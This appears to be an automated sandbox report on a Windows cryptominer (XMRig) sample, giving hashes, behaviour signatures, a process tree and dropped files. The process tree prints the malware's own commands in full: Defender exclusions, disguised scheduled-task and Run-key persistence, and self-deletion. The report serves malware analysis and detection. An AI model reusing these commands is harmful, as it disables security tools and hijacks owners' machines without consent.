Resubmissions

10-07-2023 09:55

230710-lxskxsaf4t 10

31-05-2023 16:56

230531-vfmssagf4z 10

31-05-2023 16:50

230531-vcdeyagb66 10

31-05-2023 16:49

230531-vbs41age81 10

31-05-2023 16:49

230531-vbraeage8z 10

05-05-2023 05:31

230505-f72npage67 10

05-05-2023 05:31

230505-f7zjbsad9z 10

05-05-2023 05:31

230505-f7wgnsge66 10

05-05-2023 05:30

230505-f7keeage64 10

04-05-2023 10:10

230504-l7mgnabe89 10

Analysis

  • max time kernel
    75s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2023 16:50

General

  • Target

    qM5GMXBk6hJE6Y5e.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3112
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2324
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            4⤵
              PID:2284
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3820
            • C:\Windows\System32\choice.exe
              choice /C Y /N /D Y /T 3
              4⤵
                PID:1820
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2164
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2748
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2256
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1784
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3248
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3712
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
                PID:1508
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
              2⤵
                PID:1452
            • C:\Program Files\Google\Chrome\updater.exe
              "C:\Program Files\Google\Chrome\updater.exe"
              1⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Drops file in Program Files directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1596
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                2⤵
                • Drops file in Program Files directory
                PID:3696

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Discovery

            Query Registry

            1
            T1012

            Replay Monitor

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            Downloads

            • C:\Program Files\Google\Chrome\updater.exe
              Filesize

              2.0MB

              MD5

              a16a669a09bf158058b83e04e69fe38e

              SHA1

              f6c94763850d9e590d86057139e8895a7aacdeea

              SHA256

              cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

              SHA512

              658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

            • C:\Program Files\Google\Chrome\updater.exe
              Filesize

              2.0MB

              MD5

              a16a669a09bf158058b83e04e69fe38e

              SHA1

              f6c94763850d9e590d86057139e8895a7aacdeea

              SHA256

              cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

              SHA512

              658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

            • C:\Program Files\Google\Libs\g.log
              Filesize

              226B

              MD5

              fdba80d4081c28c65e32fff246dc46cb

              SHA1

              74f809dedd1fc46a3a63ac9904c80f0b817b3686

              SHA256

              b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

              SHA512

              b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              d28a889fd956d5cb3accfbaf1143eb6f

              SHA1

              157ba54b365341f8ff06707d996b3635da8446f7

              SHA256

              21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

              SHA512

              0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              1KB

              MD5

              5b9df3d6dc4d4aa11c7bc0096d2d0c05

              SHA1

              f958f6d755b031d35d8016ee8a14bd9e27c5fb1b

              SHA256

              1bfbb738c61d84240148ae6c033a59337263bdf6ff4bbdcd8f3d8dffd249d142

              SHA512

              5795039542bf784eaa2d6937df510c8cff35122187a65cd82db90c816098632310139e37afce465fa67c9aee2195e76c889e704fc14a601bf2b3f544535e8d73

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_telzopkt.qtu.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              4KB

              MD5

              bdb25c22d14ec917e30faf353826c5de

              SHA1

              6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

              SHA256

              e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

              SHA512

              b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              1KB

              MD5

              b42c70c1dbf0d1d477ec86902db9e986

              SHA1

              1d1c0a670748b3d10bee8272e5d67a4fabefd31f

              SHA256

              8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

              SHA512

              57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

            • memory/1452-244-0x000001A6B6370000-0x000001A6B6390000-memory.dmp
              Filesize

              128KB

            • memory/1452-260-0x00007FF6EBCC0000-0x00007FF6EC4B4000-memory.dmp
              Filesize

              8.0MB

            • memory/1452-256-0x00007FF6EBCC0000-0x00007FF6EC4B4000-memory.dmp
              Filesize

              8.0MB

            • memory/1452-258-0x000001A6B6AD0000-0x000001A6B6AF0000-memory.dmp
              Filesize

              128KB

            • memory/1452-254-0x000001A6B6AD0000-0x000001A6B6AF0000-memory.dmp
              Filesize

              128KB

            • memory/1452-253-0x000001A6B6AB0000-0x000001A6B6AD0000-memory.dmp
              Filesize

              128KB

            • memory/1452-252-0x00007FF6EBCC0000-0x00007FF6EC4B4000-memory.dmp
              Filesize

              8.0MB

            • memory/1452-246-0x00007FF6EBCC0000-0x00007FF6EC4B4000-memory.dmp
              Filesize

              8.0MB

            • memory/1452-257-0x000001A6B6AB0000-0x000001A6B6AD0000-memory.dmp
              Filesize

              128KB

            • memory/1452-251-0x00007FF6EBCC0000-0x00007FF6EC4B4000-memory.dmp
              Filesize

              8.0MB

            • memory/1452-249-0x000001A6B64B0000-0x000001A6B64F0000-memory.dmp
              Filesize

              256KB

            • memory/1596-181-0x00007FF7166F0000-0x00007FF716901000-memory.dmp
              Filesize

              2.1MB

            • memory/1596-243-0x00007FF7166F0000-0x00007FF716901000-memory.dmp
              Filesize

              2.1MB

            • memory/1596-220-0x00007FF7166F0000-0x00007FF716901000-memory.dmp
              Filesize

              2.1MB

            • memory/1784-238-0x00000254FAE10000-0x00000254FAE20000-memory.dmp
              Filesize

              64KB

            • memory/1784-237-0x00007FF4A8AC0000-0x00007FF4A8AD0000-memory.dmp
              Filesize

              64KB

            • memory/1784-225-0x00000254FAE10000-0x00000254FAE20000-memory.dmp
              Filesize

              64KB

            • memory/1784-226-0x00000254FAE10000-0x00000254FAE20000-memory.dmp
              Filesize

              64KB

            • memory/2164-134-0x000001FB34990000-0x000001FB349B2000-memory.dmp
              Filesize

              136KB

            • memory/2164-144-0x000001FB32910000-0x000001FB32920000-memory.dmp
              Filesize

              64KB

            • memory/2164-145-0x000001FB32910000-0x000001FB32920000-memory.dmp
              Filesize

              64KB

            • memory/2164-146-0x000001FB32910000-0x000001FB32920000-memory.dmp
              Filesize

              64KB

            • memory/2256-208-0x000001961C220000-0x000001961C23A000-memory.dmp
              Filesize

              104KB

            • memory/2256-192-0x0000019601450000-0x0000019601460000-memory.dmp
              Filesize

              64KB

            • memory/2256-210-0x000001961C200000-0x000001961C206000-memory.dmp
              Filesize

              24KB

            • memory/2256-209-0x000001961C1D0000-0x000001961C1D8000-memory.dmp
              Filesize

              32KB

            • memory/2256-191-0x0000019601450000-0x0000019601460000-memory.dmp
              Filesize

              64KB

            • memory/2256-207-0x000001961C1C0000-0x000001961C1CA000-memory.dmp
              Filesize

              40KB

            • memory/2256-206-0x00007FF4826E0000-0x00007FF4826F0000-memory.dmp
              Filesize

              64KB

            • memory/2256-205-0x000001961C1E0000-0x000001961C1FC000-memory.dmp
              Filesize

              112KB

            • memory/2256-204-0x000001961C070000-0x000001961C07A000-memory.dmp
              Filesize

              40KB

            • memory/2256-203-0x000001961BF90000-0x000001961BFAC000-memory.dmp
              Filesize

              112KB

            • memory/2256-193-0x0000019601450000-0x0000019601460000-memory.dmp
              Filesize

              64KB

            • memory/2256-211-0x000001961C210000-0x000001961C21A000-memory.dmp
              Filesize

              40KB

            • memory/2324-178-0x000002A2B1DD0000-0x000002A2B1DE0000-memory.dmp
              Filesize

              64KB

            • memory/2324-177-0x000002A2B1DD0000-0x000002A2B1DE0000-memory.dmp
              Filesize

              64KB

            • memory/2324-176-0x000002A2B1DD0000-0x000002A2B1DE0000-memory.dmp
              Filesize

              64KB

            • memory/2748-160-0x000001604E910000-0x000001604E920000-memory.dmp
              Filesize

              64KB

            • memory/2748-162-0x000001604E910000-0x000001604E920000-memory.dmp
              Filesize

              64KB

            • memory/2748-161-0x000001604E910000-0x000001604E920000-memory.dmp
              Filesize

              64KB

            • memory/3248-250-0x00007FF6E5320000-0x00007FF6E5336000-memory.dmp
              Filesize

              88KB

            • memory/3248-259-0x00007FF6E5320000-0x00007FF6E5336000-memory.dmp
              Filesize

              88KB

            • memory/4108-133-0x00007FF7EA810000-0x00007FF7EAA21000-memory.dmp
              Filesize

              2.1MB

            • memory/4108-165-0x00007FF7EA810000-0x00007FF7EAA21000-memory.dmp
              Filesize

              2.1MB